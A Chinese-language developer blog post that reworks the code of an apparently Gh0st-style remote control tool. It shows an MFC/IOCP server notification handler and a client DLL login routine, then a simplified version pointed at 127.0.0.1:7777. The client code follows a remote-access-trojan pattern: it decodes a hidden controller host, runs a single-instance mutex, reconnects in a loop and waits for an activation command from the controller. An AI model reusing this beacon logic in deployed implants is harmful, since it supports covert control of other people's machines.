之前完成了端口的监听,这次要对监听做一些完善和修改。主要是对于NotifyProc这个进行一下“丰满”处理。原代码如下

 try { CMainFrame* pFrame = (CMainFrame*) lpParam; CString str; // 对g_pConnectView 进行初始化 g_pConnectView = (CClientView *)((CClientApp *)AfxGetApp())->m_pConnectView; // g_pConnectView还没创建,这情况不会发生 if (((CClientApp *)AfxGetApp())->m_pConnectView == NULL) return; g_pConnectView->m_iocpServer = m_iocpServer; str.Format(_T("S: %.2f kb/s R: %.2f kb/s"), (float)m_iocpServer->m_nSendKbps / 1024, (float)m_iocpServer->m_nRecvKbps / 1024); g_pFrame->m_wndStatusBar.SetPaneText(1, str); switch (nCode) { case NC_CLIENT_CONNECT: break; case NC_CLIENT_DISCONNECT: g_pConnectView->PostMessage(WM_REMOVEFROMLIST, 0, (LPARAM)pContext); break; case NC_TRANSMIT: break; case NC_RECEIVE: ProcessReceive(pContext); break; case NC_RECEIVE_COMPLETE: ProcessReceiveComplete(pContext); break; } }catch(...){}

先修改该修改的类名。然后编译会提示g_pConnectView没有定义,我们来看下这个的定义

CClientView* g_pConnectView = NULL;

就是酱紫定义的,我们也给他重新定义一下。关于这个afxgetapp说明如下:

AfxGetApp( )是全局的。
AfxGetApp( )这个函数可以得到当前应用进程的指针,是CWinApp*类型的,通过这个指针可以访问到这个进程中的对象。
比如在全局函数中要向对话框中的列表写数据。

void writeString(char* pString)

CWnd* pWnd = AfxGetApp()->GetMainWnd();
CMyDlg * pDlg;
pDlg=(CMyDlg *) pWnd;
pDlg->ShowMsg(pString);

AfxGetApp()得到进程指针CWinApp*,通过这个指针可以得到pWnd。

那么这里因为这个东西我们不需要展示,也没有给控件设置这个成员变量。唔。其实本来呢   我是准备注释掉。但是现在还是正儿八经的不偷懒吧。我创建了一个静态文本框。然后给他设置成这个名字。

这里需要注意,你不给他设置一个ID的话是没办法给他添加成员变量的哦。不过一番尝试之后呢 发现还是没用诶。还是从客户端再看看吧  嫌弃

首先是看dll的入口函数,一些乱七八糟的就不看了,直接是来到了login这个函数 代码如下:

BOOL Login(){ OutputDebugString("进入login"); HANDLE hEvent = NULL; char strKillEvent[100]; wsprintf(strKillEvent, "%s %d",MyDecode(szDns),dwPort); HANDLE m_hMutex; m_hMutex = CreateMutex(NULL, FALSE, MyDecode(szDns)); if (m_hMutex && GetLastError() == ERROR_ALREADY_EXISTS) { exit(0); ExitProcess(0); return -1; } OutputDebugString("互斥完"); CClientSocket socketClient; BYTE bBreakError = NOT_CONNECT; while (1) { if (bBreakError != NOT_CONNECT && bBreakError != HEARTBEATTIMEOUT_ERROR) { for (int i = 0; i < 1000; i++) { hEvent = OpenEvent(EVENT_ALL_ACCESS, false,strKillEvent); if (hEvent != NULL) { socketClient.Disconnect(); CloseHandle(hEvent); break; } Sleep(200); } } lpszHost = MyDecode(szDns); Port = dwPort; DWORD dwTickCount = GetTickCount(); OutputDebugString(lpszHost); char szMsg[80]={0} ;wsprintf(szMsg,"%d",Port);OutputDebugString(szMsg); if (!socketClient.Connect(lpszHost,Port)) { bBreakError = CONNECT_ERROR; continue; } OutputDebugString("登录"); // 登录 DWORD dwExitCode = SOCKET_ERROR; sendLoginInfo(NULL, &socketClient, GetTickCount() - dwTickCount); CKernelManager manager(&socketClient,strKillEvent,lpszHost,Port); socketClient.setManagerCallBack(&manager); ////////////////////////////////////////////////////////////////////////// // 等待控制端发送激活命令,超时为10秒,重新连接,以防连接错误 for (int i = 0; (i < 10 && !manager.IsActived()); i++) { Sleep(1000); } // 10秒后还没有收到控制端发来的激活命令,说明对方不是控制端,重新连接 if (!manager.IsActived()) continue; ////////////////////////////////////////////////////////////////////////// DWORD dwIOCPEvent; dwTickCount = GetTickCount(); do { hEvent = OpenEvent(EVENT_ALL_ACCESS, false, strKillEvent); dwIOCPEvent = WaitForSingleObject(socketClient.m_hEvent, 100); Sleep(500); } while(hEvent == NULL && dwIOCPEvent != WAIT_OBJECT_0); if (hEvent != NULL) { socketClient.Disconnect(); CloseHandle(hEvent); break; } } return 0;}

精简吧

这次更新距离上次已经1天了。讲真  这些东西看着真的头大。然后好不容易改出来一个版本 。另外上述登录代码我也做了一些精简。目前是这样的

char *lpszHost = NULL; DWORD Port = 80; // TODO: Place code here. char strKillEvent[100]; HANDLE hEvent = NULL; wsprintf(strKillEvent, "%s %d","127.0.0.1","7777"); CClientSocket socketClient; BYTE bBreakError = NOT_CONNECT; while (1) { if (bBreakError != NOT_CONNECT && bBreakError != HEARTBEATTIMEOUT_ERROR) { for (int i = 0; i < 1000; i++) { hEvent = OpenEvent(EVENT_ALL_ACCESS, false,strKillEvent); if (hEvent != NULL) { socketClient.Disconnect(); CloseHandle(hEvent); break; } Sleep(200); } } lpszHost = "127.0.0.1"; Port = 7777; DWORD dwTickCount = GetTickCount(); OutputDebugString(lpszHost); char szMsg[80]={0} ; wsprintf(szMsg,"%d",Port); OutputDebugString(szMsg); if (!socketClient.Connect(lpszHost,Port)) { bBreakError = CONNECT_ERROR; MessageBox(NULL,"连接失败",NULL,NULL); continue; } MessageBox(NULL,"连接成功",NULL,NULL); return 0; }

代码逻辑就不用管他了,就是简单修改一下。测试一下而已。后面会再做一些改动。勿喷。另外附上效果图 【其实总结起来,分离并不是很困难。里面很多东西只是放到一起了  单独剥离一下就可以了。头脑清晰时建议尝试,不然真会死人了】: